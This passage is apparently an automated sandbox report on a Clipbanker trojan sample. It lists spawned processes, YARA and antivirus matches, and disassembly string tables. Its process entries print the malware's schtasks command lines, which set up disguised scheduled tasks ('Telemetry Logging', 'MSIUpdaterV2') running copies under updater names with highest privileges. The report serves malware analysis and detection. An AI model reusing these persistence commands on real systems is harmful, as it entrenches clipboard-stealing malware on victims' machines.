Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:29:18
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:29:18
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000E.00000002.4443460598.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:29:20
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:29:20
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:29:20
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:29:20
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:29:20
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x950000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:29:20
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:29:21
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000015.00000002.2242821853.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:29:21
Start date:	25/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000016.00000002.2249704079.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Antivirus matches:	Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:29:21
Start date:	25/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000017.00000002.2250105459.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:29:27
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000018.00000002.2305505558.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:29:35
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000019.00000002.2385333464.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown
Antivirus matches:	Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:29:43
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Imagebase:	0x7ff6068e0000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001A.00000002.2465095851.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:29:52
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001C.00000002.2550324003.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:30:00
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001D.00000002.2631140407.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.9%
Dynamic/Decrypted Code Coverage:	11.6%
Signature Coverage:	31.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	99

Executed Functions

Function 00967D20 Relevance: 350.8, APIs: 10, Strings: 179, Instructions: 20001COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00967D97

Strings

v<Ea, xrefs: 00975385
v<Ea, xrefs: 0096E27A
v<Ea, xrefs: 00982F91
v<Ea, xrefs: 0097791E
v<Ea, xrefs: 00973996
v<Ea, xrefs: 0097DE6D
v<Ea, xrefs: 0097989D
v<Ea, xrefs: 0097734F
v<Ea, xrefs: 00980B5E
v<Ea, xrefs: 00980969
v<Ea, xrefs: 00974C76
v<Ea, xrefs: 00973BEB
v<Ea, xrefs: 00982677
v<Ea, xrefs: 009778D2
v<Ea, xrefs: 0097191D
v<Ea, xrefs: 00972EF1
v<Ea, xrefs: 009755DA
v<Ea, xrefs: 00971A50
v<Ea, xrefs: 00974019
v<Ea, xrefs: 0096F38F
v<Ea, xrefs: 00979BAB
v<Ea, xrefs: 00972859
v<Ea, xrefs: 0097A70F
v<Ea, xrefs: 00970DD5
v<Ea, xrefs: 0097DBA8
v<Ea, xrefs: 009829A5
v<Ea, xrefs: 0096DF59
v<Ea, xrefs: 0097C5A1
v<Ea, xrefs: 0098206C
v<Ea, xrefs: 00972A0E
v<Ea, xrefs: 00976657
v<Ea, xrefs: 009700D2
v<Ea, xrefs: 009766A9
cannot use push_back() with , xrefs: 0096E46B, 0096E6E3, 00970717, 00970908, 00975646, 009757DE, 0097B379, 0097B3D0, 0097B424, 0097D1D3, 0097D3AB, 0097F089, 0097F230, 0098330A
v<Ea, xrefs: 0097E283
v<Ea, xrefs: 00971FB5
v<Ea, xrefs: 009775E4
v<Ea, xrefs: 00976BA7
v<Ea, xrefs: 0098219B
v<Ea, xrefs: 0097A312
v<Ea, xrefs: 0098107A
v<Ea, xrefs: 00971D43
v<Ea, xrefs: 00980A78
v<Ea, xrefs: 00972C69
v<Ea, xrefs: 0097C7E9
v<Ea, xrefs: 00969542
v<Ea, xrefs: 0097AC6D
v<Ea, xrefs: 0096AFB5
v<Ea, xrefs: 00980280
v<Ea, xrefs: 0096B120
v<Ea, xrefs: 00970CFC
v<Ea, xrefs: 0097311A
v<Ea, xrefs: 00970E27
v<Ea, xrefs: 0097F5C2
v<Ea, xrefs: 0097AC21
v<Ea, xrefs: 0097A9D8
v<Ea, xrefs: 00977B6A
v<Ea, xrefs: 00973DBF
v<Ea, xrefs: 00982E29
v<Ea, xrefs: 0097465C
v<Ea, xrefs: 00981A86
v<Ea, xrefs: 0097FFF8
v<Ea, xrefs: 00979F9C
v<Ea, xrefs: 0097AF48
v<Ea, xrefs: 00978BDC
v<Ea, xrefs: 0096FE1A
v<Ea, xrefs: 009826C3
v<Ea, xrefs: 00972F8C
cannot use operator[] with a string argument with , xrefs: 0096E8A5, 0096E8DD, 0096E930, 0096E965, 0096E99C, 00970872, 009708B0, 00970965, 009757A4, 0097583D, 0097B31D, 0097B484, 0097B4D9, 0097B52E, 0097B589, 0097B5DE, 0097B633, 0097B688, 0097B6DD, 0097B732, 0097D315, 0097D353, 0097D408, 0097F19A, 0097F1D8, 0097F28D, 00983298, 009832D0, 00983362
v<Ea, xrefs: 0097A538
v<Ea, xrefs: 009770BE
v<Ea, xrefs: 00976E7E
v<Ea, xrefs: 009815A0
v<Ea, xrefs: 00981153
v<Ea, xrefs: 0097A75B
v<Ea, xrefs: 0098014E
v<Ea, xrefs: 00972935
v<Ea, xrefs: 009735B1
v<Ea, xrefs: 0097C198
v<Ea, xrefs: 00973B9F
v<Ea, xrefs: 00981465
v<Ea, xrefs: 009739E2
v<Ea, xrefs: 009723E1
v<Ea, xrefs: 00976C71
v<Ea, xrefs: 009728E3
v<Ea, xrefs: 0098122F
v<Ea, xrefs: 0097D002
v<Ea, xrefs: 00974849
v<Ea, xrefs: 00969AE3
v<Ea, xrefs: 009814B7
v<Ea, xrefs: 00980F1D
v<Ea, xrefs: 00974B99
v<Ea, xrefs: 009753D1
v<Ea, xrefs: 009811DD
v<Ea, xrefs: 0096E53E
v<Ea, xrefs: 00971F69
v<Ea, xrefs: 009776BD
v<Ea, xrefs: 0096DFAB
v<Ea, xrefs: 00972FDE
v<Ea, xrefs: 00980789
v<Ea, xrefs: 00978F49
v<Ea, xrefs: 00975AD6
v<Ea, xrefs: 0097678A
v<Ea, xrefs: 00968619
v<Ea, xrefs: 00970086
v<Ea, xrefs: 009773DD
v<Ea, xrefs: 0097196F
v<Ea, xrefs: 00974065
v<Ea, xrefs: 00980A26
v<Ea, xrefs: 009820BE
v<Ea, xrefs: 0097E4AD
v<Ea, xrefs: 0097B12B
v<Ea, xrefs: 00982149
v<Ea, xrefs: 009824DB
v<Ea, xrefs: 0096C191
v<Ea, xrefs: 0096E22E
v<Ea, xrefs: 0096852A
v<Ea, xrefs: 009800FC
v<Ea, xrefs: 0096DECE
v<Ea, xrefs: 0098073D
v<Ea, xrefs: 0097E45B
v<Ea, xrefs: 00972C1D
v<Ea, xrefs: 00980673
v<Ea, xrefs: 00980517
v<Ea, xrefs: 00977592
v<Ea, xrefs: 009772FD
v<Ea, xrefs: 00979026
v<Ea, xrefs: 00982DDD
v<Ea, xrefs: 0097DF50
v<Ea, xrefs: 00970C48
v<Ea, xrefs: 00980BAA
v<Ea, xrefs: 00974B47
v<Ea, xrefs: 0097AEFC
v<Ea, xrefs: 00968B57
v<Ea, xrefs: 0097C146
v<Ea, xrefs: 009705B7
v<Ea, xrefs: 00973D73
v<Ea, xrefs: 0096DE7C
v<Ea, xrefs: 00970D48
v<Ea, xrefs: 009730CE
v<Ea, xrefs: 00979078
v<Ea, xrefs: 00979690
v<Ea, xrefs: 0097D696
v<Ea, xrefs: 00979324
v<Ea, xrefs: 009767D6
v<Ea, xrefs: 009688EA
v<Ea, xrefs: 0097F576
R~u, xrefs: 0096F86A
v<Ea, xrefs: 00982BA9
v<Ea, xrefs: 0097D6CA
v<Ea, xrefs: 0097C2C7
v<Ea, xrefs: 00980ED1
v<Ea, xrefs: 0097C27B
v<Ea, xrefs: 0097D535
v<Ea, xrefs: 00980234
v<Ea, xrefs: 009815EC
v<Ea, xrefs: 00982BF5
v<Ea, xrefs: 0096BF12
v<Ea, xrefs: 00981028
v<Ea, xrefs: 00969693
v<Ea, xrefs: 00972EA5
v<Ea, xrefs: 00981308
v<Ea, xrefs: 0097EF35
v<Ea, xrefs: 00982527
v<Ea, xrefs: 00976F3A
v<Ea, xrefs: 00968A68
v<Ea, xrefs: 009794B0
v<Ea, xrefs: 0096B16C
v<Ea, xrefs: 00977CA5
v<Ea, xrefs: 0097E7A6
v<Ea, xrefs: 00977CF1
v<Ea, xrefs: 00977072
v<Ea, xrefs: 00978F9B
v<Ea, xrefs: 0097DBDC
v<Ea, xrefs: 00982959
v<Ea, xrefs: 00977508
v<Ea, xrefs: 00982FDD
v<Ea, xrefs: 009721A1
v<Ea, xrefs: 0097945E

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: FolderPath
String ID: R~u$cannot use operator[] with a string argument with $cannot use push_back() with $v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea
API String ID: 1514166925-797077965
Opcode ID: fb48919b0a9755367119043810367712e04578e5e49089f681df9a142554f42a
Instruction ID: 645bd063d55d0aebafdb6c1e824efabea17282a62a7a9d19909064a3674ab8ff
Opcode Fuzzy Hash: fb48919b0a9755367119043810367712e04578e5e49089f681df9a142554f42a
Instruction Fuzzy Hash: 71B4FFB4D052698BDB25CF68C984BEDBBB5BF49304F1082D9D849B7281DB706B84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 06EF3B60 Relevance: 346.6, APIs: 77, Strings: 115, Instructions: 10593networkCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 06EF4E33
send.WS2_32(?,?,?,00000000), ref: 06EF5003
__aulldiv.LIBCMT ref: 06EF4954

Part of subcall function 06EE4630: __aulldiv.LIBCMT ref: 06EE46B2

Strings

J9q=, xrefs: 06EFD87C
J9q=, xrefs: 06EFFCEF
J9q=, xrefs: 06EFAD12
J9q=, xrefs: 06EFA306
|W, xrefs: 06EFB1A0
J9q=, xrefs: 06EFC8BD
J9q=, xrefs: 06EFC3C5
J9q=, xrefs: 06F00B2D
>9q=, xrefs: 06F00735
J9q=, xrefs: 06EF9FB5
J9q=, xrefs: 06EFEE93
J9q=, xrefs: 06EFD356
J9q=, xrefs: 06EFD002
J9q=, xrefs: 06EFF78A
J9q=, xrefs: 06EFCA8F
J9q=, xrefs: 06EF9652
ly>, xrefs: 06EFB4B1
J9q=, xrefs: 06EF67DA
eZQN, xrefs: 06EFAEAB
J9q=, xrefs: 06EFBE7A
J9q=, xrefs: 06EF7E66
J9q=, xrefs: 06F00230
J9q=, xrefs: 06EFDC90
J9q=, xrefs: 06EFB988
J9q=, xrefs: 06EFDF6C
J9q=, xrefs: 06EF94C3
J9q=, xrefs: 06EFF418
J9q=, xrefs: 06EFC242
J9q=, xrefs: 06EFF67F
r~#l, xrefs: 06EFB0F1
J9q=, xrefs: 06F00485
J9q=, xrefs: 06F00101
J9q=, xrefs: 06EF9D96
;in%, xrefs: 06EFBB9C
/Uq=, xrefs: 06EFE6AF
/Uq=, xrefs: 06EFD185
/9q=, xrefs: 06EFE873
J9q=, xrefs: 06EFE8C1
J9q=, xrefs: 06EFCDE3
&Uq=, xrefs: 06EFACC4
J9q=, xrefs: 06EF9C13
J9q=, xrefs: 06EF6828
J9q=, xrefs: 06EFE4C4
J9q=, xrefs: 06EFA186
J9q=, xrefs: 06EFDF1E
J9q=, xrefs: 06F000A7
J9q=, xrefs: 06EFD3A4
J9q=, xrefs: 06EFCC60
J9q=, xrefs: 06EFFF91
J9q=, xrefs: 06EFFCA1
99yv5DbkMtLHSAV, xrefs: 06EFB845, 06EFBD37, 06EFC006, 06EFC0CD, 06EFF551, 06F005C6, 06F0064C
J9q=, xrefs: 06EFB3DF
J9q=, xrefs: 06F00783
J9q=, xrefs: 06EFF050
J9q=, xrefs: 06EFA870
J9q=, xrefs: 06EFA522
J9q=, xrefs: 06EF9871
J9q=, xrefs: 06EFE6FD
J9q=, xrefs: 06EFD82E
J9q=, xrefs: 06F0088E
J9q=, xrefs: 06EFA6F0
J9q=, xrefs: 06F001E2
J9q=, xrefs: 06EFBC17
J9q=, xrefs: 06EFB9D6
J9q=, xrefs: 06EFF09E
J9q=, xrefs: 06EFED3B
J9q=, xrefs: 06EFAA8C
J9q=, xrefs: 06EFFE3A
J9q=, xrefs: 06EFF9DB
J9q=, xrefs: 06EFA6A2
J9q=, xrefs: 06EFE512
J9q=, xrefs: 06EFBEC8
$9q=, xrefs: 06EFF98D
J9q=, xrefs: 06EFFF37
J9q=, xrefs: 06EFF7D8
J9q=, xrefs: 06EFD1D3
J9q=, xrefs: 06EFFAE6
J9q=, xrefs: 06EF9823
J9q=, xrefs: 06EFA4D4
J9q=, xrefs: 06F008DC
J9q=, xrefs: 06EFC1F4
J9q=, xrefs: 06F0042B
J9q=, xrefs: 06EFDA2A
/9q=, xrefs: 06EFCFB4
J9q=, xrefs: 06EFC86F
J9q=, xrefs: 06EFA8BE
J9q=, xrefs: 06EFCC12
J9q=, xrefs: 06EFAF53
J9q=, xrefs: 06EFC413
J9q=, xrefs: 06EF99F4
J9q=, xrefs: 06EFAA3E
),', xrefs: 06F00C62, 06F00C71, 06F00C88, 06F00C94, 06F0097B, 06F0097E
J9q=, xrefs: 06EFA138
J9q=, xrefs: 06EFF1F7
J9q=, xrefs: 06EF7E18
J9q=, xrefs: 06EF9475
J9q=, xrefs: 06EFE18C
J9q=, xrefs: 06EF9A42
J9q=, xrefs: 06EF9F67
J9q=, xrefs: 06EFFDEC
J9q=, xrefs: 06EFFB34
eZQN, xrefs: 06EFBB6F
J9q=, xrefs: 06EF9DE4
J9q=, xrefs: 06EFE13E
J9q=, xrefs: 06EFA354
eZQN, xrefs: 06EFF370
Button, xrefs: 06EFDE06
$9q=, xrefs: 06EFDC42
J9q=, xrefs: 06EF96A0
J9q=, xrefs: 06EFF1A9
J9q=, xrefs: 06EFDA78
J9q=, xrefs: 06EFCE31
$9q=, xrefs: 06EFCA41
,', xrefs: 06F00BF8
J9q=, xrefs: 06EF9BC5

Memory Dump Source

Source File: 00000000.00000002.4446031606.0000000006EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_file.jbxd

Similarity

API ID: __aulldiv$send
